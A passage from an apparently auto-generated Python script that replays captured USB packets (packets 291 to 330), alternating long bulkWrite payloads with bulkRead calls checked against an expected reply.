b\"\\xC6\\x2A\\xED\\x69\\xF6\\xA8\\x28\\xBA\\x4C\\x2E\\xE4\\x22\\xA3\\x83\\x99\\xCF\"\n b\"\\x18\\xC2\\x74\\x7C\\x80\\xE6\\x74\\xC2\\x4C\\xD1\\x5D\\xD4\\x7A\\x12\\xD6\\x67\"\n b\"\\x02\\x89\\x77\\xA6\\x68\\xA5\\xE4\\x56\\x47\\x96\\x03\\xDA\\xB9\\x86\\xBD\\x77\"\n b\"\\x3F\\x32\\xE5\\x38\\x9E\\xE3\\x42\\x54\\x8A\\x59\\x89\\xB3\\xD4\\xD9\\xB9\\x99\"\n b\"\\x23\\xFF\\x38\\x52\\x05\\x0D\\x66\\x44\\x49\\x47\\x47\\x2E\\xE9\\x26\\x37\\x55\"\n b\"\\x17\\xAC\\x0A\\x2C\\x86\\xF9\\xE8\\xE7\\x26\\x38\\x57\\x3B\\x56\\xFF\\x6B\\x1E\"\n b\"\\x1A\\x3B\\x7A\\xA9\\xED\\x32\\x66\\x23\\x4A\\xD9\\x99\\x31\\x76\\xEA\\xA6\\x43\"\n b\"\\xA3\\xD5\\x4F\\xCB\\xCB\\x2C\\x6B\\x55\\xF5\\xA4\\x34\\x12\\x9A\\xAB\\x99\\xF9\"\n b\"\\x42\\x0F\\x5A\\xC7\\xF5\\x0D\\x03\\xE3\\xCF\\xAB\\xD0\\xF0\\x71\\x71\\x99\\x5D\"\n b\"\\xF1\\x3D\\x69\\x26\\x9D\\x59\\x9E\\x57\\x45\\x5F\\x6F\\x55\")\n # Generated from packet 291/292\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 291/292\")\n # Generated from packet 293/294\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1B\\x04\\x30\\xB7\\x1F\\x1E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\x38\\xF3\\x3A\\xFF\\x03\\xD7\\xF8\"\n b\"\\xAA\\x44\\xDC\\x1A\\x97\\xFA\\x95\\xCA\\xF2\\x62\\xEB\\xE3\\xE4\\x2C\\x5B\\x98\"\n b\"\\xE0\\x9F\\x18\\x0C\\xC0\\x8F\\xAA\\x76\\x96\\x7B\\x26\\x71\\x07\\x87\\x41\\x0A\"\n b\"\\x39\\x04\\x34\\x0B\\x42\\x00\\xE3\\x63\\xCA\\xB6\\xF7\\xE5\\xA0\\x18\\xCC\\xD7\"\n b\"\\xC6\\xD3\\xBB\\x44\\x2F\\x49\\xC0\\x8E\\x18\\x81\\x51\\x61\\x5F\\x34\\xAE\\xE1\"\n b\"\\xBB\\x85\\xB4\\x56\\x8C\\x66\\x43\\xFE\\xCF\\xF6\\xE7\\x0D\\xB6\\x1D\\x87\\x85\"\n b\"\\x32\\xB6\\xE8\\xDC\\x40\\xD2\\x3B\\x86\\xD7\\x74\\xFF\\x7C\\x4C\\x08\\xCF\\xA5\"\n b\"\\xDD\\x48\\x2B\\x45\\x90\\xAD\\xA8\\xDA\\x0E\\xFB\\x4E\\xF2\\xBC\\x65\\xC0\\xF2\"\n b\"\\x48\\x44\\x36\\x8B\\x54\\xD1\\xDF\\xF5\\x40\\x37\\xBF\\x20\\x9A\\x0A\\xEF\\xD4\"\n b\"\\xFC\\xA7\\x6D\\x1D\\xC2\\x48\\xD4\\x72\\x44\\x0C\\xFA\\x66\\xB3\\x2F\\x77\\x55\"\n b\"\\x29\\xB9\\x37\\x0E\\xC8\\x97\\x77\\xD2\\x27\\x19\\x15\\xB2\\xEA\\x22\\xBD\\x8C\"\n b\"\\x9B\\x83\\x1C\\x17\\x81\\x4C\\xE0\\x0D\\x34\\x08\\xF2\\x94\\x4E\\x0E\\x77\\x14\"\n b\"\\xE6\\xCA\\x31\\x2F\\x8A\\x2F\\xD4\\xC7\\x23\\xF5\\x0E\\xED\\x95\\xC6\\x4B\\x9D\"\n b\"\\x85\\xCA\\x49\\x45\\x71\\xC8\\x91\\x9A\\x30\\x6F\\xF0\\x4F\\xD9\\xDF\\x54\\x2E\"\n b\"\\x4E\\xBF\\xB1\\x70\\xA0\\xEF\\xCD\\x6C\\xE3\\x17\\x06\\xC3\\xA3\\x95\\x7A\\xD0\"\n b\"\\xB6\\x96\\xDD\\x8B\\xBB\\xF9\\x43\\x77\\xCE\\xA0\\xFF\\xBB\\xC1\\xC3\\xA2\\x0F\"\n b\"\\xF4\\xE9\\x58\\xFD\\x4F\\x5D\\x2E\\x7E\\x66\\x4A\\x56\\x88\")\n # Generated from packet 295/296\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 295/296\")\n # Generated from packet 297/298\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\x59\\xA0\\x27\\x5D\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x36\\x30\\xCB\\x4D\\x63\\x63\\x8D\\x58\"\n b\"\\xD8\\x01\\x8A\\xC9\\xCF\\x6A\\xD9\\xC0\\xFC\\xB3\\xD8\\xC8\\xCA\\x36\\x5F\\x05\"\n b\"\\x7A\\xDD\\xFC\\xD2\\x7D\\xEE\\x7D\\x04\\xB2\\x48\\xDB\\xC1\\x23\\xC3\\x81\\xC7\"\n b\"\\x04\\x90\\x8D\\xF0\\x3D\\xB7\\xC4\\xD0\\x49\\xC9\\xA5\\xBF\\x0A\\xB7\\x21\\x53\"\n b\"\\x95\\x7C\\x12\\xD8\\x67\\x5F\\xD6\\xE1\\x13\\x96\\xCB\\x29\\x5B\\x9C\\xE5\\x06\"\n b\"\\x20\\x6A\\x7E\\x39\\xC7\\xBD\\xBC\\xC0\\x8E\\x89\\xD5\\xD8\\x28\\xBC\\xF4\\x81\"\n b\"\\xAF\\x37\\xD0\\x05\\xDA\\xFB\\x10\\x17\\xCE\\x67\\x48\\x63\\xB0\\xC3\\xB6\\x49\"\n b\"\\x20\\x71\\xF6\\xF3\\xCF\\x56\\x7F\\x2E\\x24\\x46\\x9C\\x09\\x32\\xA3\\x3C\\x2A\"\n b\"\\x99\\xAA\\x90\\x63\\xD5\\xBE\\x6A\\x3C\\x2D\\x7F\\x02\\x71\\x97\\xAA\\xE4\\x59\"\n b\"\\xA5\\xCC\\x4E\\x39\\x15\\x82\\x0A\\x8D\\x55\\xB5\\x77\\xB6\\xF4\\xFD\\xC9\\x80\"\n b\"\\x07\\xCD\\xCE\\xD5\\xFA\\x02\\x93\\x5F\\x96\\x04\\x28\\x3B\\x04\\xBE\\xCA\\x74\"\n b\"\\x0A\\x36\\x5E\\x3B\\xD7\\xEF\\x47\\xB1\\x9E\\xC1\\x6F\\x39\\x1B\\xB0\\x38\\xC6\"\n b\"\\xC1\\xB6\\xA4\\x17\\x7D\\x40\\x67\\x63\\xD5\\xA9\\x90\\x61\\xD5\\xA3\\x02\\x38\"\n b\"\\xFC\\xC4\\x3E\\x48\\xA8\\x80\\x94\\x5E\\x65\\x8E\\x4F\\x7D\\x15\\x06\\xE0\\x41\"\n b\"\\xFD\\x1C\\x0A\\xFF\\x60\\x7B\\x2A\\xD4\\x5C\\xCC\\xA4\\xE5\\xA7\\x16\\xE8\\xC9\"\n b\"\\x80\\x70\\xFA\\xCB\\xA7\\xCE\\x43\\xB3\\xCC\\x21\\x20\\xAB\\x49\\xB0\\x81\\x39\"\n b\"\\x5C\\xA6\\xE1\\x64\\x36\\x76\\x3F\\x21\\x40\\x98\\xF0\\x89\")\n # Generated from packet 299/300\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 299/300\")\n # Generated from packet 301/302\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD1\\x14\\x58\\xA5\\xD4\\x1A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDB\\x2C\\x1E\\xEC\\x8A\\xC8\\x3D\\x4D\"\n b\"\\xA8\\x98\\xC6\\xB0\\x57\\x01\\x86\\xD4\\xD8\\x01\\x8B\\x63\\x03\\xB0\\xE9\\xA2\"\n b\"\\xFD\\xF6\\xC7\\x4F\\x0D\\x3F\\x8F\\xE6\\x1E\\x19\\xFC\\x28\\xE4\\x9F\\x06\\x98\"\n b\"\\x94\\xF1\\x86\\xF2\\x65\\x51\\xC5\\x75\\x50\\xA5\\xC4\\xD8\\x3B\\x1D\\x80\\x2C\"\n b\"\\xB7\\xE9\\xF6\\x98\\x8C\\x20\\x7E\\x12\\x43\\xA5\\x92\\x0E\\xB7\\xA8\\x88\\xD7\"\n b\"\\x1D\\x71\\xFB\\xF9\\xAD\\x5F\\x6F\\xE1\\x47\\x7E\\x39\\xCA\\x3A\\x50\\x5F\\xD8\"\n b\"\\x97\\xEE\\xA7\\x62\\xD0\\x35\\xF8\\x21\\xCB\\xE9\\x5E\\x00\\x88\\xBB\\x09\\x1A\"\n b\"\\x2A\\x54\\xB1\\x6B\\xC7\\xA1\\xAC\\xF8\\x24\\xBF\\xE1\\x3E\\xE5\\x7D\\xE1\\xB6\"\n b\"\\x7F\\x9F\\x8C\\x9B\\x13\\x98\\xC0\\x32\\x44\\x44\\x37\\x0F\\xB8\\x02\\xAB\\x2A\"\n b\"\\xD8\\xEF\\x98\\xA3\\x92\\x2F\\xF2\\x1B\\x17\\xFB\\x84\\x96\\x59\\x47\\xED\\x04\"\n b\"\\x09\\xE7\\xDC\\x4F\\xD3\\xFD\\x8C\\x7A\\x06\\xE0\\xA2\\x18\\x50\\x54\\xD1\\x4C\"\n b\"\\x1E\\x76\\xDE\\x17\\x3D\\xF9\\x46\\xB5\\x5E\\xF7\\x57\\xBE\\xBA\\x37\\x0A\\x72\"\n b\"\\xFF\\x4C\\xA3\\xB6\\xE4\\xF8\\xEC\\xB8\\x95\\xBD\\xD3\\xA0\\x59\\x88\\xA9\\x06\"\n b\"\\xBC\\x25\\x06\\xFD\\x4B\\xF6\\x92\\xD6\\x73\\xD9\\x36\\x5D\\xB6\\x8F\\xC6\\x8B\"\n b\"\\x62\\x80\\xDA\\x97\\xE7\\x69\\x65\\x52\\x66\\xFA\\xE9\\x34\\xA9\\x18\\xC6\\x24\"\n b\"\\x94\\x69\\x60\\x7A\\xBF\\x82\\xFB\\x89\\x11\\xEC\\x96\\xE5\\xF5\\x30\\xDC\\x5A\"\n b\"\\xF8\\x43\\xF3\\x1A\\xF4\\x36\\x9C\\x57\\xFA\\x83\\x38\\xE3\")\n # Generated from packet 303/304\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 303/304\")\n # Generated from packet 305/306\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x07\\x28\\xA6\\x68\\xCB\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x5E\\xC7\\x57\\x60\\xFC\\x9F\\x24\"\n b\"\\x26\\xBE\\x5D\\x5F\\xE0\\xF3\\x36\\x7C\\x7F\\x2F\\x1A\\x2C\\xEC\\x5C\\x05\\x3A\"\n b\"\\x54\\xB1\\x32\\x08\\x26\\x5A\\x52\\x40\\x2D\\xDB\\x02\\x70\\x3C\\x4E\\xA8\\x57\"\n b\"\\xB6\\x41\\x36\\xDB\\x6B\\x7D\\x37\\xBF\\xAB\\xAE\\x1E\\x9C\\x6A\\x94\\xF9\\x5A\"\n b\"\\x16\\xE3\\x8A\\x46\\x4B\\x75\\xB3\\xE9\\x26\\xB6\\xC1\\x76\\xD8\\x5C\\x78\\xC5\"\n b\"\\x3C\\x30\\xA9\\xCB\\x03\\xAD\\xA6\\x1E\\x97\\xB1\\xFF\\xB0\\xBB\\x01\\xA8\\xC2\"\n b\"\\xAA\\xED\\x3C\\x9B\\x1F\\x0D\\xE6\\x7D\\xB9\\xD5\\x63\\x23\\x6D\\xB6\\x19\\x3C\"\n b\"\\xEF\\x08\\x89\\x44\\x9D\\x8D\\xB6\\x34\\xE6\\x76\\x4C\\x2F\\x47\\x99\\xF4\\xF4\"\n b\"\\x8C\\x06\\x77\\xD9\\xCD\\x89\\xF3\\xB5\\xE8\\xC6\\x76\\x2A\\x2A\\x16\\xA7\\x61\"\n b\"\\x80\\x3B\\x91\\xA6\\xE2\\x9B\\xAB\\xE3\\x0D\\xFB\\x54\\x51\\x32\\xBC\\x41\\x69\"\n b\"\\x15\\xBC\\x01\\x57\\x9F\\x86\\x22\\x23\\xB7\\x04\\x62\\xE5\\xA9\\xE5\\x35\\x7A\"\n b\"\\x24\\x2A\\x8A\\x7B\\xCD\\x38\\xC9\\xD4\\x31\\x5D\\x3E\\xDD\\x75\\xDA\\x75\\x1A\"\n b\"\\xA7\\x26\\x7E\\x78\\xCE\\xF8\\x16\\x18\\xC5\\xCA\\x46\\x69\\x04\\x4E\\x5D\\xB3\"\n b\"\\xB5\\x25\\x75\\x58\\x6F\\x65\\xCE\\x7E\\x56\\x12\\x77\\xA7\\x0E\\x7F\\xC1\\x2A\"\n b\"\\x7B\\x09\\xFB\\x46\\x38\\x39\\x4B\\xDF\\x2D\\x71\\x73\\xFD\\xB3\\x01\\xCD\\x81\"\n b\"\\xCC\\xF8\\x9E\\x36\\x1B\\x09\\x74\\xD0\\x47\\x03\\x32\\x76\\xAA\\xA6\\x72\\x9E\"\n b\"\\xD4\\x8F\\xCC\\xE8\\x66\\x4F\\xE1\\xAC\\x72\\xC7\\xE2\\x3F\")\n # Generated from packet 307/308\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 307/308\")\n # Generated from packet 309/310\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC4\\xA8\\x48\\xE0\\xFC\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x0A\\x5C\\xDE\\xD5\\x25\\x2D\\x0A\"\n b\"\\xDD\\x8B\\x43\\xC9\\xE6\\xA0\\x25\\x70\\xAB\\x95\\x3D\\x10\\x9C\\xEB\\x27\\x5A\"\n b\"\\x77\\xB9\\xF1\\xAA\\xC9\\xF4\\x66\\x56\\xD6\\x37\\x59\\x46\\xD7\\x2B\\x37\\xBF\"\n b\"\\x1C\\xE7\\x08\\x6C\\x0C\\x81\\x56\\x07\\xD7\\x11\\xFF\\xC5\\x78\\x11\\x69\\x05\"\n b\"\\x6C\\x40\\xE1\\x63\\xF0\\x68\\xE1\\x5F\\xE5\\x32\\x2C\\xDC\\x33\\x8A\\xC7\\xD7\"\n b\"\\x21\\x0B\\x8C\\x66\\x8D\\x97\\x56\\x93\\xB5\\x6E\\x12\\x87\\x82\\x90\\x83\\x64\"\n b\"\\x3B\\x95\\xF6\\x75\\x8D\\x4C\\x80\\xF0\\x8D\\x84\\x2F\\xBB\\x82\\x2F\\x68\\x84\"\n b\"\\x85\\xCB\\x70\\x46\\xE8\\x26\\x0B\\x29\\xFA\\x4B\\x9F\\x98\\xAA\\xB7\\x89\\x28\"\n b\"\\xE9\\xC5\\x0E\\x81\\x82\\x2D\\x2D\\x3E\\x13\\xC3\\xE3\\x37\\xD4\\x70\\x6A\\x35\"\n b\"\\x5D\\xD3\\x6D\\xFE\\x97\\x98\\x71\\xE8\\x09\\x11\\xC0\\xF1\\xBC\\x0B\\xB6\\x13\"\n b\"\\xA1\\xA9\\xFF\\x39\\x79\\xFA\\x4B\\x0C\\x50\\x16\\x5B\\xBB\\x81\\x26\\xD2\\x14\"\n b\"\\x6F\\x24\\x2E\\x3A\\xC9\\x49\\x18\\x64\\x71\\xDD\\x61\\xE2\\xF2\\xA1\\x00\\xD2\"\n b\"\\x85\\x4B\\x10\\x01\\x45\\x87\\xBF\\x45\\xC6\\x63\\x79\\x2E\\x51\\xF4\\xF5\\xD9\"\n b\"\\x46\\xEF\\x66\\x41\\xD7\\xB3\\x67\\x5F\\x70\\x12\\x18\\xFD\\x16\\x82\\x43\\x01\"\n b\"\\xDF\\xD5\\xE7\\xFA\\xF1\\x28\\x35\\x38\\x75\\x4A\\xEA\\x30\\xDD\\xDD\\x51\\xC1\"\n b\"\\xDC\\x12\\x51\\x6A\\x2A\\xF6\\x68\\xD0\\xD1\\x90\\xD7\\x5C\\x97\\x09\\xD0\\x24\"\n b\"\\x95\\xE2\\x46\\x26\\xF9\\x24\\xDB\\x9D\\x5F\\x2F\\xC6\\xB2\")\n # Generated from packet 311/312\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 311/312\")\n # Generated from packet 313/314\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDC\\x6E\\x95\\x59\\x96\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF5\\xBF\\x8B\\xD9\\xBE\\x43\\xB0\\x23\"\n b\"\\xD9\\x28\\x5D\\x37\\x49\\x9D\\xC0\\xF4\\x5F\\xB1\\xE4\\x27\\x6B\\x82\\x59\\x26\"\n b\"\\x66\\x0E\\x20\\xDD\\x69\\xA5\\xBF\\xAA\\x8E\\xE5\\x25\\x37\\x5F\\x56\\x87\\x16\"\n b\"\\x9B\\x81\\x02\\x08\\x8C\\x27\\xAA\\xF4\\x8B\\x0C\\x80\\xA8\\x3B\\x81\\x9C\\x42\"\n b\"\\xBE\\x5E\\xDF\\x43\\xF5\\x88\\x7F\\x32\\x78\\xB0\\x87\\xA4\\x25\\x08\\x3A\\x72\"\n b\"\\xBC\\xCB\\x62\\x9A\\xBB\\x45\\xDD\\x38\\x4A\\x00\\x05\\x3E\\x87\\xB8\\xF8\\x31\"\n b\"\\x9B\\x20\\xA6\\x30\\xF2\\xFE\\xE2\\x98\\x57\\x5F\\x22\\x4C\\x71\\xF4\\x9C\\x3C\"\n b\"\\x31\\x56\\x65\\x26\\x4C\\xD0\\x13\\xC4\\x52\\x1A\\x2D\\xCA\\x69\\x0A\\x0D\\x02\"\n b\"\\x83\\xD1\\x10\\xFE\\x57\\x23\\xF6\\xBB\\xFF\\x43\\x35\\x72\\xD8\\xE3\\xA6\\x6E\"\n b\"\\xD6\\xD2\\x13\\xF3\\xAC\\x2A\\xAF\\x0C\\x8A\\x73\\xAA\\x0D\\x8F\\x0B\\x46\\xAB\"\n b\"\\xE4\\x13\\x5E\\x8C\\x6C\\x63\\x73\\x23\\xDA\\x7C\\x9B\\x91\\x67\\xF5\\x37\\x74\"\n b\"\\x87\\xB2\\x27\\x1C\\x06\\x2A\\x32\\x07\\x6B\\x5C\\xBA\\xE5\\x69\\x74\\x9D\\x56\"\n b\"\\xFF\\x86\\x48\\x0E\\xD0\\x3B\\x0A\\x53\\x1C\\xFA\\x37\\x4E\\xFD\\xDF\\x35\\xDA\"\n b\"\\x5B\\xC7\\x4B\\x6B\\x69\\x63\\x74\\x50\\xAA\\xA8\\x6E\\x0D\\xED\\xD2\\x43\\x15\"\n b\"\\xE1\\x66\\xD2\\xBE\\x3F\\x0B\\x4B\\x9D\\xBA\\xBF\\x96\\x7C\\x0A\\x9B\\xA3\\x66\"\n b\"\\x24\\xF0\\x5C\\x65\\x6E\\x66\\x3A\\x9D\\x96\\x35\\xCD\\xBB\\x40\\xE2\\x89\\x3A\"\n b\"\\x43\\x4B\\x8D\\x5B\\xAC\\x29\\x0C\\x2C\\xB7\\x89\\xB1\\xC9\")\n # Generated from packet 315/316\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 315/316\")\n # Generated from packet 317/318\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x57\\x54\\x19\\x86\\xF5\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC6\\x3A\\xB8\\x47\\x84\\x72\\x98\\x69\"\n b\"\\xBA\\x21\\x7E\\xBD\\x8D\\xE9\\xDA\\xC6\\x8D\\x5B\\x76\\x41\\x42\\x1C\\xD7\\xC1\"\n b\"\\x15\\x24\\xD0\\x32\\x5E\\xBA\\xF6\\x72\\x04\\x13\\x17\\x60\\x37\\xAB\\xF8\\xA7\"\n b\"\\x08\\xDB\\x9F\\x12\\x65\\xA4\\xB1\\x4F\\xB3\\x24\\x6A\\xD0\\xB0\\x6F\\xE6\\x9D\"\n b\"\\x1E\\xEA\\x77\\x36\\xAA\\x61\\x8F\\x70\\x19\\xA3\\x7A\\xC6\\x17\\x2D\\x32\\xB7\"\n b\"\\x91\\x5C\\x55\\x97\\xEC\\xCB\\xF4\\x02\\x66\\x88\\x0B\\x03\\x63\\x6A\\xAB\\x31\"\n b\"\\x8E\\x84\\x6D\\x78\\x45\\x85\\xAD\\x5A\\x4E\\xC9\\xEC\\xE9\\x32\\x60\\x15\\x47\"\n b\"\\x39\\x5D\\xC9\\x3B\\x6E\\xB0\\x95\\xA5\\x14\\x3B\\xAA\\x46\\x4D\\x37\\xDE\\x26\"\n b\"\\x1B\\xB4\\x73\\x0C\\xC2\\xA2\\xC7\\x39\\x7E\\xBC\\xA1\\xFB\\xFB\\x06\\xB1\\x2E\"\n b\"\\x72\\xCB\\x9E\\x4C\\x27\\x2B\\xC0\\x6B\\x51\\xED\\xD8\\xF5\\xAE\\x48\\x65\\xDC\"\n b\"\\x55\\x14\\xF9\\x17\\x00\\x60\\x6C\\x94\\xBA\\x7F\\x58\\x84\\x76\\x50\\xBF\\x77\"\n b\"\\x8F\\x22\\xAA\\x4F\\x0C\\x95\\x05\\x92\\x7D\\xDF\\x70\\x31\\xFD\\xA7\\x5C\\x93\"\n b\"\\xBD\\xF3\\x0F\\x73\\xEE\\xA9\\x59\\xE9\\x55\\x22\\x12\\x02\\xB9\\xB6\\x8E\\xE3\"\n b\"\\x54\\xE4\\x2B\\xC8\\x33\\x24\\xBD\\x6C\\x83\\x93\\x6B\\x90\\x1F\\x4D\\x4A\\x56\"\n b\"\\xE7\\xDC\\x8C\\x7A\\x3E\\x9C\\x12\\xF8\\x16\\xED\\xD6\\x06\\x39\\xAD\\xB5\\x2A\"\n b\"\\x8B\\xDA\\xCD\\x40\\xC0\\x6B\\x06\\xFE\\xD8\\x59\\xE5\\xDC\\xAD\\xCC\\x53\\x54\"\n b\"\\xE1\\x67\\xBF\\xC7\\x9E\\x05\\x71\\x29\\x67\\x35\\x9E\\xA4\")\n # Generated from packet 319/320\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 319/320\")\n # Generated from packet 321/322\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD3\\xB0\\x09\\x0B\\x45\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD2\\x20\\x34\\xA6\\x9F\\xC2\\x3C\\xAD\"\n b\"\\xFE\\x05\\xBC\\xD7\\x98\\x1D\\x7E\\xDB\\xA0\\xBB\\xA1\\x37\\xE2\\x26\\x79\\x0E\"\n b\"\\xCC\\xB7\\x58\\x6F\\x79\\xE0\\x07\\x66\\xAA\\x33\\xD6\\x93\\x0D\\x70\\xEF\\x90\"\n b\"\\x2A\\x8C\\xF0\\x4B\\x4D\\x59\\x04\\xC5\\xC8\\x4C\\x7D\\xEE\\xA6\\x2D\\xBA\\x84\"\n b\"\\x57\\x3B\\x4B\\x54\\xF4\\x63\\x8D\\x5C\\xC5\\x27\\x8C\\x7D\\x6D\\x2F\\x1B\\x98\"\n b\"\\x19\\x27\\xA8\\x3C\\xDE\\x63\\x10\\xAA\\x77\\xC1\\x94\\xDB\\x4F\\x4F\\x34\\xC7\"\n b\"\\x1E\\xDE\\xF7\\x94\\x96\\x15\\x9F\\x06\\x81\\xF6\\x2D\\x54\\x5D\\xAC\\xDC\\x9D\"\n b\"\\xCD\\x98\\xF4\\x57\\x76\\xAD\\xBA\\xBC\\x27\\x47\\xC6\\xCC\\xC5\\x79\\x0B\\x43\"\n b\"\\x54\\x21\\x40\\x78\\xD5\\x20\\x43\\x2C\\x81\\x45\\x65\\x78\\xB2\\xBC\\x63\\xF8\"\n b\"\\x45\\x4F\\xE8\\x40\\xBA\\xFF\\x30\\xAC\\x6D\\x33\\xFC\\x77\\x1F\\x55\\x4B\\x47\"\n b\"\\x0C\\xC2\\x6C\\xD0\\x93\\xA9\\xF5\\x20\\x1D\\xD7\\x9B\\x7B\\xE0\\x24\\xB1\\x27\"\n b\"\\x15\\xAF\\x63\\x35\\x9C\\xA9\\xF3\\x74\\xFF\\xCF\\x95\\xF2\\xD6\\xCA\\x4A\\x30\"\n b\"\\xA8\\x90\\x23\\x75\\xA8\\x87\\x8D\\x72\\x92\\x51\\x8A\\x60\\x46\\xF4\\x80\\x34\"\n b\"\\x92\\x00\\xED\\xE7\\x13\\x4C\\xED\\x5E\\xA8\\x0A\\x5E\\x5D\\xBC\\xE2\\x1A\\xAB\"\n b\"\\x9E\\xEC\\xC7\\x21\\x15\\xEE\\xA2\\x1B\\x81\\xD8\\xA8\\xCB\\xE9\\x2B\\xF4\\xD4\"\n b\"\\xB6\\x7D\\x19\\xB5\\x39\\x78\\xBD\\x92\\xC9\\x5E\\x5B\\xCE\\x7E\\x14\\x07\\x33\"\n b\"\\x17\\x8D\\x00\\xC1\\x11\\x16\\x9D\\xB0\\xFC\\x45\\x3E\\x06\")\n # Generated from packet 323/324\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 323/324\")\n # Generated from packet 325/326\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBE\\x19\\xD0\\x07\\x3B\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x09\\xC2\\xE4\\x59\\x9D\\xB2\\xB0\"\n b\"\\x90\\x5E\\x46\\x18\\xA7\\x46\\x86\\x9B\\x03\\xAC\\x95\\xC6\\xD9\\xB1\\x4F\\xF9\"\n b\"\\x8E\\xA8\\xA6\\xC3\\x3E\\x00\\xE9\\x5E\\x95\\xB3\\x97\\x2A\\x6F\\x28\\x8D\\xE4\"\n b\"\\x31\\x41\\x48\\x7C\\x9A\\x83\\xE7\\x7C\\x0E\\x41\\xFD\\x25\\x86\\x35\\x6F\\x1D\"\n b\"\\x84\\x19\\xB8\\x57\\xB6\\x82\\xA8\\xCA\\x25\\x2C\\x5C\\xC6\\xC9\\xF8\\xC0\\x92\"\n b\"\\x43\\x7D\\xD7\\x1D\\x75\\xCC\\x94\\xA1\\x06\\x82\\x07\\x20\\xC2\\x5B\\x60\\x85\"\n b\"\\x1A\\xA4\\x0E\\xE4\\xC5\\x81\\x2D\\x7F\\xDE\\xBA\\x49\\x16\\x75\\xB2\\x0A\\x41\"\n b\"\\x28\\x53\\xB8\\xF6\\xA7\\xCE\\x35\\xCA\\x4F\\x6E\\xA9\\x7A\\x28\\xFF\\x40\\x90\"\n b\"\\x8C\\x48\\x8C\\xBE\\x25\\x71\\x14\\xCF\\xC5\\xAB\\x5D\\x06\\x75\\xDC\\x4B\\x9D\"\n b\"\\xAE\\x1E\\x48\\xAE\\x7E\\x6B\\x7F\\xB6\\x04\\x85\\x3E\\xD4\\x39\\x7F\\xB8\\x45\"\n b\"\\xF7\\xB2\\x10\\xAB\\xE7\\x0D\\x1E\\x4B\\x14\\x4A\\x29\\x9B\\x8A\\xE4\\xC9\\x9C\"\n b\"\\x08\\x06\\x2E\\xD8\\xF4\\x0C\\xC9\\x0C\\xAE\\x22\\x12\\x2A\\xEA\\xFB\\x38\\x52\"\n b\"\\x7B\\xDB\\x0E\\x76\\x4D\\xD8\\x33\\x8B\\x96\\x74\\x58\\x3E\\xE3\\xBF\\x6B\\x06\"\n b\"\\x15\\x7D\\x60\\xC5\\x9E\\x4A\\x16\\x57\\x43\\xA4\\x06\\xC0\\x34\\x00\\xB5\\x97\"\n b\"\\x8F\\x01\\x75\\x9F\\xE2\\xA5\\x84\\xD8\\xC4\\x3F\\xC4\\xA7\\xFA\\x9A\\xA5\\x30\"\n b\"\\x9A\\x8D\\xAC\\x55\\x15\\xCA\\x1D\\x00\\x38\\xD8\\xFF\\x14\\xBE\\xD8\\x1D\\xDA\"\n b\"\\x7B\\xB3\\xF0\\xF6\\xFB\\x26\\xFF\\x91\\xB2\\x61\\x3C\\x1C\")\n # Generated from packet 327/328\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 327/328\")\n # Generated from packet 329/330\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x94\\xA9\\xE0\\xD4\\x13\\x22\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5C\\x5E\\xA5\\x3E\\xEF\\xED\\xA6\\x04\"\n b\"\\xB4\\x90\\x73\\x23\\x76\\xE4\\xD7\\xE4\\xE8\\x70\\x0F\\x02\\x53\\xA9\\x9C\\x42\"\n 